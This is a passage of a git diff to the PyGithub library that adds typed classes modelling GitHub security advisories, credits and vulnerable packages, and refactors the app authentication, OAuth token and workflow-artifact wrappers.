implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # +# along with PyGithub. If not, see . # +# # +################################################################################ + +from __future__ import annotations + +from datetime import datetime +from typing import Any + +from github.CVSS import CVSS +from github.CWE import CWE +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet + + +class AdvisoryBase(NonCompletableGithubObject): + """ + This class represents a the shared attributes between GlobalAdvisory, RepositoryAdvisory and DependabotAdvisory + https://docs.github.com/en/rest/security-advisories/global-advisories + https://docs.github.com/en/rest/security-advisories/repository-advisories + https://docs.github.com/en/rest/dependabot/alerts + """ + + def _initAttributes(self) -> None: + self._cve_id: Attribute[str] = NotSet + self._cvss: Attribute[CVSS] = NotSet + self._cwes: Attribute[list[CWE]] = NotSet + self._description: Attribute[str] = NotSet + self._ghsa_id: Attribute[str] = NotSet + self._html_url: Attribute[str] = NotSet + self._identifiers: Attribute[list[dict]] = NotSet + self._published_at: Attribute[datetime] = NotSet + self._severity: Attribute[str] = NotSet + self._summary: Attribute[str] = NotSet + self._updated_at: Attribute[datetime] = NotSet + self._url: Attribute[str] = NotSet + self._withdrawn_at: Attribute[datetime] = NotSet + + def __repr__(self) -> str: + return self.get__repr__({"ghsa_id": self.ghsa_id, "summary": self.summary}) + + @property + def cve_id(self) -> str: + return self._cve_id.value + + @property + def cvss(self) -> CVSS: + return self._cvss.value + + @property + def cwes(self) -> list[CWE]: + return self._cwes.value + + @property + def description(self) -> str: + return self._description.value + + @property + def ghsa_id(self) -> str: + return self._ghsa_id.value + + @property + def html_url(self) -> str: + return self._html_url.value + + @property + def identifiers(self) -> list[dict]: + return self._identifiers.value + + @property + def published_at(self) -> datetime: + return self._published_at.value + + @property + def severity(self) -> str: + return self._severity.value + + @property + def summary(self) -> str: + return self._summary.value + + @property + def updated_at(self) -> datetime: + return self._updated_at.value + + @property + def url(self) -> str: + return self._url.value + + @property + def withdrawn_at(self) -> datetime: + return self._withdrawn_at.value + + def _useAttributes(self, attributes: dict[str, Any]) -> None: + if "cve_id" in attributes: # pragma no branch + self._cve_id = self._makeStringAttribute(attributes["cve_id"]) + if "cvss" in attributes: # pragma no branch + self._cvss = self._makeClassAttribute(CVSS, attributes["cvss"]) + if "cwes" in attributes: # pragma no branch + self._cwes = self._makeListOfClassesAttribute(CWE, attributes["cwes"]) + if "description" in attributes: # pragma no branch + self._description = self._makeStringAttribute(attributes["description"]) + if "ghsa_id" in attributes: # pragma no branch + self._ghsa_id = self._makeStringAttribute(attributes["ghsa_id"]) + if "html_url" in attributes: # pragma no branch + self._html_url = self._makeStringAttribute(attributes["html_url"]) + if "identifiers" in attributes: # pragma no branch + self._identifiers = self._makeListOfDictsAttribute(attributes["identifiers"]) + if "published_at" in attributes: # pragma no branch + assert attributes["published_at"] is None or isinstance(attributes["published_at"], str), attributes[ + "published_at" + ] + self._published_at = self._makeDatetimeAttribute(attributes["published_at"]) + if "severity" in attributes: # pragma no branch + self._severity = self._makeStringAttribute(attributes["severity"]) + if "summary" in attributes: # pragma no branch + self._summary = self._makeStringAttribute(attributes["summary"]) + if "updated_at" in attributes: # pragma no branch + assert attributes["updated_at"] is None or isinstance(attributes["updated_at"], str), attributes[ + "updated_at" + ] + self._updated_at = self._makeDatetimeAttribute(attributes["updated_at"]) + if "url" in attributes: # pragma no branch + self._url = self._makeStringAttribute(attributes["url"]) + if "withdrawn_at" in attributes: # pragma no branch + assert attributes["withdrawn_at"] is None or isinstance(attributes["withdrawn_at"], str), attributes[ + "withdrawn_at" + ] + self._withdrawn_at = self._makeDatetimeAttribute(attributes["withdrawn_at"]) diff --git a/github/AdvisoryCredit.py b/github/AdvisoryCredit.py new file mode 100644 index 0000000000..3d36d643f9 --- /dev/null +++ b/github/AdvisoryCredit.py @@ -0,0 +1,109 @@ +############################ Copyrights and license ############################ +# # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Jonathan Leitschuh # +# Copyright 2023 Joseph Henrich # +# Copyright 2023 Trim21 # +# # +# This file is part of PyGithub. # +# http://pygithub.readthedocs.io/ # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # +# along with PyGithub. If not, see . # +# # +################################################################################ + +from __future__ import annotations + +from typing import Any, Union + +from typing_extensions import TypedDict + +import github.NamedUser +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet + + +class SimpleCredit(TypedDict): + """ + A simple credit for a security advisory. + """ + + login: str | github.NamedUser.NamedUser + type: str + + +Credit = Union[SimpleCredit, "AdvisoryCredit"] + + +class AdvisoryCredit(NonCompletableGithubObject): + """ + This class represents a credit that is assigned to a SecurityAdvisory. + The reference can be found here https://docs.github.com/en/rest/security-advisories/repository-advisories + """ + + @property + def login(self) -> str: + """ + :type: string + """ + return self._login.value + + @property + def type(self) -> str: + """ + :type: string + """ + return self._type.value + + def _initAttributes(self) -> None: + self._login: Attribute[str] = NotSet + self._type: Attribute[str] = NotSet + + def _useAttributes(self, attributes: dict[str, Any]) -> None: + if "login" in attributes: # pragma no branch + self._login = self._makeStringAttribute(attributes["login"]) + if "type" in attributes: # pragma no branch + self._type = self._makeStringAttribute(attributes["type"]) + + @staticmethod + def _validate_credit(credit: Credit) -> None: + assert isinstance(credit, (dict, AdvisoryCredit)), credit + if isinstance(credit, dict): + assert "login" in credit, credit + assert "type" in credit, credit + assert isinstance(credit["login"], (str, github.NamedUser.NamedUser)), credit["login"] + assert isinstance(credit["type"], str), credit["type"] + else: + assert isinstance(credit.login, str), credit.login + assert isinstance(credit.type, str), credit.type + + @staticmethod + def _to_github_dict(credit: Credit) -> SimpleCredit: + assert isinstance(credit, (dict, AdvisoryCredit)), credit + if isinstance(credit, dict): + assert "login" in credit, credit + assert "type" in credit, credit + assert isinstance(credit["login"], (str, github.NamedUser.NamedUser)), credit["login"] + login = credit["login"] + if isinstance(login, github.NamedUser.NamedUser): + login = login.login + return { + "login": login, + "type": credit["type"], + } + else: + return { + "login": credit.login, + "type": credit.type, + } diff --git a/github/AdvisoryCreditDetailed.py b/github/AdvisoryCreditDetailed.py new file mode 100644 index 0000000000..2b1c289cf7 --- /dev/null +++ b/github/AdvisoryCreditDetailed.py @@ -0,0 +1,86 @@ +############################ Copyrights and license ############################ +# # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Peter Buckley # +# Copyright 2018 Wan Liuyang # +# Copyright 2018 sfdye # +# Copyright 2019 Adam Baratz # +# Copyright 2019 Nick Campbell # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Jonathan Leitschuh # +# Copyright 2023 Joseph Henrich # +# Copyright 2023 Trim21 # +# # +# This file is part of PyGithub. # +# http://pygithub.readthedocs.io/ # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # +# along with PyGithub. If not, see . # +# # +################################################################################ + +from __future__ import annotations + +from typing import Any + +import github.NamedUser +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet + + +class AdvisoryCreditDetailed(NonCompletableGithubObject): + """ + This class represents a credit that is assigned to a SecurityAdvisory. + The reference can be found here https://docs.github.com/en/rest/security-advisories/repository-advisories + """ + + @property + def state(self) -> str: + """ + :type: string + """ + return self._state.value + + @property + def type(self) -> str: + """ + :type: string + """ + return self._type.value + + @property + def user(self) -> github.NamedUser.NamedUser: + """ + :type: :class:`github.NamedUser.NamedUser` + """ + return self._user.value + + def _initAttributes(self) -> None: + self._state: Attribute[str] = NotSet + self._type: Attribute[str] = NotSet + self._user: Attribute[github.NamedUser.NamedUser] = NotSet + + def _useAttributes(self, attributes: dict[str, Any]) -> None: + if "state" in attributes: # pragma no branch + self._state = self._makeStringAttribute(attributes["state"]) + if "type" in attributes: # pragma no branch + self._type = self._makeStringAttribute(attributes["type"]) + if "user" in attributes: # pragma no branch + self._user = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["user"]) diff --git a/github/AdvisoryVulnerability.py b/github/AdvisoryVulnerability.py new file mode 100644 index 0000000000..511d17053f --- /dev/null +++ b/github/AdvisoryVulnerability.py @@ -0,0 +1,170 @@ +############################ Copyrights and license ############################ +# # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Jonathan Leitschuh # +# Copyright 2023 Joseph Henrich # +# Copyright 2023 Trim21 # +# # +# This file is part of PyGithub. # +# http://pygithub.readthedocs.io/ # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # +# along with PyGithub. If not, see . # +# # +################################################################################ + +from __future__ import annotations + +from typing import TYPE_CHECKING, Any, Union + +from typing_extensions import TypedDict + +import github.AdvisoryVulnerabilityPackage +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet + +if TYPE_CHECKING: + from github.AdvisoryVulnerabilityPackage import AdvisoryVulnerabilityPackage + + +class SimpleAdvisoryVulnerabilityPackage(TypedDict): + """ + A simple package in an advisory. + """ + + ecosystem: str + name: str | None + + +class SimpleAdvisoryVulnerability(TypedDict): + """ + A simple vulnerability in a security advisory. + """ + + package: SimpleAdvisoryVulnerabilityPackage + patched_versions: str | None + vulnerable_functions: list[str] | None + vulnerable_version_range: str | None + + +AdvisoryVulnerabilityInput = Union[SimpleAdvisoryVulnerability, "AdvisoryVulnerability"] + + +class AdvisoryVulnerability(NonCompletableGithubObject): + """ + This class represents a package that is vulnerable to a parent SecurityAdvisory. + The reference can be found here https://docs.github.com/en/rest/security-advisories/repository-advisories + """ + + @property + def package( + self, + ) -> AdvisoryVulnerabilityPackage: + """ + :type: :class:`github.AdvisoryVulnerability.AdvisoryVulnerability` + """ + return self._package.value + + @property + def patched_versions(self) -> str: + """ + :type: string + """ + return self._patched_versions.value + + @property + def vulnerable_functions(self) -> list[str] | None: + """ + :type: list of string + """ + return self._vulnerable_functions.value + + @property + def vulnerable_version_range(self) -> str | None: + """ + :type: string + """ + return self._vulnerable_version_range.value + + def _initAttributes(self) -> None: + self._package: Attribute[AdvisoryVulnerabilityPackage] = NotSet + self._patched_versions: Attribute[str] = NotSet + self._vulnerable_functions: Attribute[list[str]] = NotSet + self._vulnerable_version_range: Attribute[str] = NotSet + + def _useAttributes(self, attributes: dict[str, Any]) -> None: + if "package" in attributes: # pragma no branch + self._package = self._makeClassAttribute( + github.AdvisoryVulnerabilityPackage.AdvisoryVulnerabilityPackage, + attributes["package"], + ) + if "patched_versions" in attributes: # pragma no branch + self._patched_versions = self._makeStringAttribute(attributes["patched_versions"]) + if "vulnerable_functions" in attributes: # pragma no branch + self._vulnerable_functions = self._makeListOfStringsAttribute(attributes["vulnerable_functions"]) + if "vulnerable_version_range" in attributes: # pragma no branch + self._vulnerable_version_range = self._makeStringAttribute(attributes["vulnerable_version_range"]) + + @classmethod + def _validate_vulnerability(cls, vulnerability: AdvisoryVulnerabilityInput) -> None: + assert isinstance(vulnerability, (dict, cls)), vulnerability + if isinstance(vulnerability, dict): + assert "package" in vulnerability, vulnerability + package: SimpleAdvisoryVulnerabilityPackage = vulnerability["package"] + assert isinstance(package, dict), package + assert "ecosystem" in package, package + assert isinstance(package["ecosystem"], str), package + assert "name" in package, package + assert isinstance(package["name"], (str, type(None))), package + assert "patched_versions" in vulnerability, vulnerability + assert isinstance(vulnerability["patched_versions"], (str, type(None))), vulnerability + assert "vulnerable_functions" in vulnerability, vulnerability + assert isinstance(vulnerability["vulnerable_functions"], (list, type(None))), vulnerability + assert "vulnerable_functions" in vulnerability, vulnerability + assert ( + all(isinstance(vf, str) for vf in vulnerability["vulnerable_functions"]) + if vulnerability["vulnerable_functions"] is not None + else True + ), vulnerability + assert "vulnerable_version_range" in vulnerability, vulnerability + assert isinstance(vulnerability["vulnerable_version_range"], (str, type(None))), vulnerability + + else: + assert ( + vulnerability.package is github.AdvisoryVulnerabilityPackage.AdvisoryVulnerabilityPackage + ), vulnerability + + @staticmethod + def _to_github_dict( + vulnerability: AdvisoryVulnerabilityInput, + ) -> SimpleAdvisoryVulnerability: + if isinstance(vulnerability, dict): + vulnerability_package: SimpleAdvisoryVulnerabilityPackage = vulnerability["package"] + return { + "package": { + "ecosystem": vulnerability_package["ecosystem"], + "name": vulnerability_package["name"], + }, + "patched_versions": vulnerability["patched_versions"], + "vulnerable_functions": vulnerability["vulnerable_functions"], + "vulnerable_version_range": vulnerability["vulnerable_version_range"], + } + return { + "package": { + "ecosystem": vulnerability.package.ecosystem, + "name": vulnerability.package.name, + }, + "patched_versions": vulnerability.patched_versions, + "vulnerable_functions": vulnerability.vulnerable_functions, + "vulnerable_version_range": vulnerability.vulnerable_version_range, + } diff --git a/github/AdvisoryVulnerabilityPackage.py b/github/AdvisoryVulnerabilityPackage.py new file mode 100644 index 0000000000..a1a747f87d --- /dev/null +++ b/github/AdvisoryVulnerabilityPackage.py @@ -0,0 +1,77 @@ +############################ Copyrights and license ############################ +# # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 AKFish # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Jannis Gebauer # +# Copyright 2016 Peter Buckley # +# Copyright 2018 Wan Liuyang # +# Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Steve Kowalik # +# Copyright 2022 Eric Nieuwland # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Jonathan Leitschuh # +# Copyright 2023 Joseph Henrich # +# Copyright 2023 Trim21 # +# Copyright 2024 Thomas Cooper # +# # +# This file is part of PyGithub. # +# http://pygithub.readthedocs.io/ # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # +# along with PyGithub. If not, see . # +# # +################################################################################ + +from __future__ import annotations + +from typing import Any + +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet + + +class AdvisoryVulnerabilityPackage(NonCompletableGithubObject): + """ + This class represents an identifier for a package that is vulnerable to a parent SecurityAdvisory. + The reference can be found here https://docs.github.com/en/rest/security-advisories/repository-advisories + """ + + def _initAttributes(self) -> None: + self._ecosystem: Attribute[str] = NotSet + self._name: Attribute[str | None] = NotSet + + @property + def ecosystem(self) -> str: + """ + :type: string + """ + return self._ecosystem.value + + @property + def name(self) -> str | None: + """ + :type: string or None + """ + return self._name.value + + def _useAttributes(self, attributes: dict[str, Any]) -> None: + if "ecosystem" in attributes: # pragma no branch + self._ecosystem = self._makeStringAttribute(attributes["ecosystem"]) + if "name" in attributes: # pragma no branch + self._name = self._makeStringAttribute(attributes["name"]) diff --git a/github/AppAuthentication.py b/github/AppAuthentication.py index c6527b926d..6b9c3b0e8a 100644 --- a/github/AppAuthentication.py +++ b/github/AppAuthentication.py @@ -1,6 +1,19 @@ ############################ Copyrights and license ############################ # # -# Copyright 2023 Denis Blanchette # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Peter Buckley # +# Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2022 Eric Nieuwland # +# Copyright 2023 Denis Blanchette # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -21,21 +34,24 @@ ################################################################################ -class AppAuthentication: +from typing import Dict, Optional, Union + +import deprecated + +from github.Auth import AppAuth, AppInstallationAuth + + +@deprecated.deprecated("Use github.Auth.AppInstallationAuth instead") +class AppAuthentication(AppInstallationAuth): def __init__( self, - app_id, - private_key, - installation_id, - token_permissions=None, + app_id: Union[int, str], + private_key: str, + installation_id: int, + token_permissions: Optional[Dict[str, str]] = None, ): - assert isinstance(app_id, (int, str)), app_id - assert isinstance(private_key, str) - assert isinstance(installation_id, int), installation_id - assert token_permissions is None or isinstance( - token_permissions, dict - ), token_permissions - self.app_id = app_id - self.private_key = private_key - self.installation_id = installation_id - self.token_permissions = token_permissions + super().__init__( + app_auth=AppAuth(app_id, private_key), + installation_id=installation_id, + token_permissions=token_permissions, + ) diff --git a/github/AppAuthentication.pyi b/github/AppAuthentication.pyi deleted file mode 100644 index 040b5f02f1..0000000000 --- a/github/AppAuthentication.pyi +++ /dev/null @@ -1,10 +0,0 @@ -from typing import Optional, Dict, Union - -class AppAuthentication: - def __init__( - self, - app_id: Union[int, str], - private_key: str, - installation_id: int, - token_permissions: Optional[Dict[str, str]] = ..., - ): ... diff --git a/github/ApplicationOAuth.py b/github/ApplicationOAuth.py index 997e9d1773..da346c3009 100644 --- a/github/ApplicationOAuth.py +++ b/github/ApplicationOAuth.py @@ -1,64 +1,91 @@ -############################ Copyrights and license ########################### -# # -# Copyright 2019 Rigas Papathanasopoulos # -# # -# This file is part of PyGithub. # -# http://pygithub.readthedocs.io/ # -# # -# PyGithub is free software: you can redistribute it and/or modify it under # -# the terms of the GNU Lesser General Public License as published by the Free # -# Software Foundation, either version 3 of the License, or (at your option) # -# any later version. # -# # -# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # -# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # -# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more# -# details. # -# # -# You should have received a copy of the GNU Lesser General Public License # -# along with PyGithub. If not, see . # -# # -############################################################################### - -import urllib - -import github.GithubObject -from github.AccessToken import AccessToken - - -class ApplicationOAuth(github.GithubObject.NonCompletableGithubObject): +############################ Copyrights and license ############################ +# # +# Copyright 2019 Rigas Papathanasopoulos # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Mark Walker # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Trim21 # +# # +# This file is part of PyGithub. # +# http://pygithub.readthedocs.io/ # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # +# along with PyGithub. If not, see . # +# # +################################################################################ + +from __future__ import annotations + +import urllib.parse +from typing import TYPE_CHECKING, Any + +import github.AccessToken +import github.Auth +from github.GithubException import BadCredentialsException, GithubException +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet +from github.Requester import Requester + +if TYPE_CHECKING: + from github.AccessToken import AccessToken + from github.Auth import AppUserAuth + + +class ApplicationOAuth(NonCompletableGithubObject): """ This class is used for identifying and authorizing users for Github Apps. The reference can be found at https://docs.github.com/en/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps """ - def __repr__(self): + def _initAttributes(self) -> None: + self._client_id: Attribute[str] = NotSet + self._client_secret: Attribute[str] = NotSet + + def __init__( + self, + requester: Requester, + headers: dict[str, Any], + attributes: Any, + completed: bool, + ) -> None: + # this object requires a request without authentication + requester = requester.withAuth(auth=None) + super().__init__(requester, headers, attributes, completed) + + def __repr__(self) -> str: return self.get__repr__({"client_id": self._client_id.value}) @property - def client_id(self): + def client_id(self) -> str: return self._client_id.value @property - def client_secret(self): + def client_secret(self) -> str: return self._client_secret.value - def _initAttributes(self): - self._client_id = github.GithubObject.NotSet - self._client_secret = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "client_id" in attributes: # pragma no branch self._client_id = self._makeStringAttribute(attributes["client_id"]) if "client_secret" in attributes: # pragma no branch self._client_secret = self._makeStringAttribute(attributes["client_secret"]) - def get_login_url(self, redirect_uri=None, state=None, login=None): - """ - Return the URL you need to redirect a user to in order to authorize - your App. - :type: string - """ + def get_login_url( + self, + redirect_uri: str | None = None, + state: str | None = None, + login: str | None = None, + ) -> str: + """Return the URL you need to redirect a user to in order to authorize your App.""" parameters = {"client_id": self.client_id} if redirect_uri is not None: assert isinstance(redirect_uri, str), redirect_uri @@ -70,16 +97,14 @@ def get_login_url(self, redirect_uri=None, state=None, login=None): assert isinstance(login, str), login parameters["login"] = login - parameters = urllib.parse.urlencode(parameters) + query = urllib.parse.urlencode(parameters) base_url = "https://github.com/login/oauth/authorize" - return f"{base_url}?{parameters}" + return f"{base_url}?{query}" - def get_access_token(self, code, state=None): + def get_access_token(self, code: str, state: str | None = None) -> AccessToken: """ :calls: `POST /login/oauth/access_token `_ - :param code: string - :param state: string """ assert isinstance(code, str), code post_parameters = { @@ -91,22 +116,68 @@ def get_access_token(self, code, state=None): if state is not None: post_parameters["state"] = state - self._requester._Requester__authorizationHeader = None - headers, data = self._requester.requestJsonAndCheck( - "POST", - "https://github.com/login/oauth/access_token", - headers={ - "Accept": "application/json", - "Content-Type": "application/json", - "User-Agent": "PyGithub/Python", - }, - input=post_parameters, + headers, data = self._checkError( + *self._requester.requestJsonAndCheck( + "POST", + "https://github.com/login/oauth/access_token", + headers={"Accept": "application/json"}, + input=post_parameters, + ) ) - return AccessToken( + return github.AccessToken.AccessToken( requester=self._requester, - # not required, this is a NonCompletableGithubObject - headers={}, + headers=headers, attributes=data, completed=False, ) + + def get_app_user_auth(self, token: AccessToken) -> AppUserAuth: + return github.Auth.AppUserAuth( + client_id=self.client_id, + client_secret=self.client_secret, + token=token.token, + token_type=token.type, + expires_at=token.expires_at, + refresh_token=token.refresh_token, + refresh_expires_at=token.refresh_expires_at, + requester=self._requester, + ) + + def refresh_access_token(self, refresh_token: str) -> AccessToken: + """ + :calls: `POST /login/oauth/access_token `_ + :param refresh_token: string + """ + assert isinstance(refresh_token, str) + post_parameters = { + "client_id": self.client_id, + "client_secret": self.client_secret, + "grant_type": "refresh_token", + "refresh_token": refresh_token, + } + + headers, data = self._checkError( + *self._requester.requestJsonAndCheck( + "POST", + "https://github.com/login/oauth/access_token", + headers={"Accept": "application/json"}, + input=post_parameters, + ) + ) + + return github.AccessToken.AccessToken( + requester=self._requester, + headers=headers, + attributes=data, + completed=False, + ) + + @staticmethod + def _checkError(headers: dict[str, Any], data: Any) -> tuple[dict[str, Any], Any]: + if isinstance(data, dict) and "error" in data: + if data["error"] == "bad_verification_code": + raise BadCredentialsException(200, data, headers) + raise GithubException(200, data, headers) + + return headers, data diff --git a/github/ApplicationOAuth.pyi b/github/ApplicationOAuth.pyi deleted file mode 100644 index 5465d83e9f..0000000000 --- a/github/ApplicationOAuth.pyi +++ /dev/null @@ -1,17 +0,0 @@ -from typing import Any, Dict, Optional - -from github.AccessToken import AccessToken -from github.GithubObject import NonCompletableGithubObject - -class ApplicationOAuth(NonCompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def client_id(self) -> str: ... - @property - def client_secret(self) -> str: ... - def get_login_url( - self, redirect_uri: Optional[str], state: Optional[str], login: Optional[str] - ) -> str: ... - def get_access_token(self, code: str, state: Optional[str]) -> AccessToken: ... diff --git a/github/Artifact.py b/github/Artifact.py index 741bfea04d..ee5171ef3c 100644 --- a/github/Artifact.py +++ b/github/Artifact.py @@ -1,6 +1,26 @@ ############################ Copyrights and license ############################ # # -# Copyright 2022 Aleksei Fedotov # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 AKFish # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2015 Matt Babineau # +# Copyright 2016 Jannis Gebauer # +# Copyright 2016 Martijn Koster # +# Copyright 2016 Peter Buckley # +# Copyright 2018 Wan Liuyang # +# Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Colby Gallup # +# Copyright 2020 Mahesh Raju # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Steve Kowalik # +# Copyright 2022 Aleksei Fedotov # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -20,140 +40,109 @@ # # ################################################################################ -import github.GithubObject +from __future__ import annotations + +from datetime import datetime +from typing import TYPE_CHECKING, Any + import github.WorkflowRun +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet +if TYPE_CHECKING: + from github.WorkflowRun import WorkflowRun -class Artifact(github.GithubObject.NonCompletableGithubObject): + +class Artifact(NonCompletableGithubObject): """ This class represents an Artifact of Github Run """ - def __repr__(self): + def _initAttributes(self) -> None: + self._archive_download_url: Attribute[str] = NotSet + self._created_at: Attribute[datetime] = NotSet + self._expired: Attribute[bool] = NotSet + self._expires_at: Attribute[datetime] = NotSet + self._head_sha: Attribute[str] = NotSet + self._id: Attribute[int] = NotSet + self._name: Attribute[str] = NotSet + self._node_id: Attribute[str] = NotSet + self._size_in_bytes: Attribute[int] = NotSet + self._updated_at: Attribute[datetime] = NotSet + self._url: Attribute[str] = NotSet + self._workflow_run: Attribute[WorkflowRun] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"name": self._name.value, "id": self._id.value}) @property - def archive_download_url(self): - """ - :type: string - """ + def archive_download_url(self) -> str: return self._archive_download_url.value @property - def created_at(self): - """ - :type: datetime.datetime - """ + def created_at(self) -> datetime: return self._created_at.value @property - def expired(self): - """ - :type: bool - """ + def expired(self) -> bool: return self._expired.value @property - def expires_at(self): - """ - :type: datetime.datetime - """ + def expires_at(self) -> datetime: return self._expires_at.value @property - def head_sha(self): - """ - :type: string - """ + def head_sha(self) -> str: return self._head_sha.value @property - def id(self): - """ - :type: string - """ + def id(self) -> int: return self._id.value @property - def name(self): - """ - :type: string - """ + def name(self) -> str: return self._name.value @property - def node_id(self): - """ - :type: string - """ + def node_id(self) -> str: return self._node_id.value @property - def size_in_bytes(self): - """ - :type: integer - """ + def size_in_bytes(self) -> int: return self._size_in_bytes.value @property - def updated_at(self): - """ - :type: datetime.datetime - """ + def updated_at(self) -> datetime: return self._updated_at.value @property - def url(self): - """ - :type: string - """ + def url(self) -> str: return self._url.value @property - def workflow_run(self): - """ - :type: :class:`` - """ + def workflow_run(self) -> WorkflowRun: return self._workflow_run.value def delete(self) -> bool: """ :calls: `DELETE /repos/{owner}/{repo}/actions/artifacts/{artifact_id} `_ - :rtype: bool """ status, headers, data = self._requester.requestBlob("DELETE", self.url) return status == 204 - def _initAttributes(self): - self._archive_download_url = github.GithubObject.NotSet - self._created_at = github.GithubObject.NotSet - self._expired = github.GithubObject.NotSet - self._expires_at = github.GithubObject.NotSet - self._head_sha = github.GithubObject.NotSet - self._id = github.GithubObject.NotSet - self._name = github.GithubObject.NotSet - self._node_id = github.GithubObject.NotSet - self._size_in_bytes = github.GithubObject.NotSet - self._updated_at = github.GithubObject.NotSet - self._url = github.GithubObject.NotSet - self._workflow_run = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "archive_download_url" in attributes: # pragma no branch - self._archive_download_url = self._makeStringAttribute( - attributes["archive_download_url"] - ) + self._archive_download_url = self._makeStringAttribute(attributes["archive_download_url"]) if "created_at" in attributes: # pragma no branch - assert attributes["created_at"] is None or isinstance( - attributes["created_at"], (str,) - ), attributes["created_at"] + assert attributes["created_at"] is None or isinstance(attributes["created_at"], (str,)), attributes[ + "created_at" + ] self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "expired" in attributes: # pragma no branch self._expired = self._makeBoolAttribute(attributes["expired"]) if 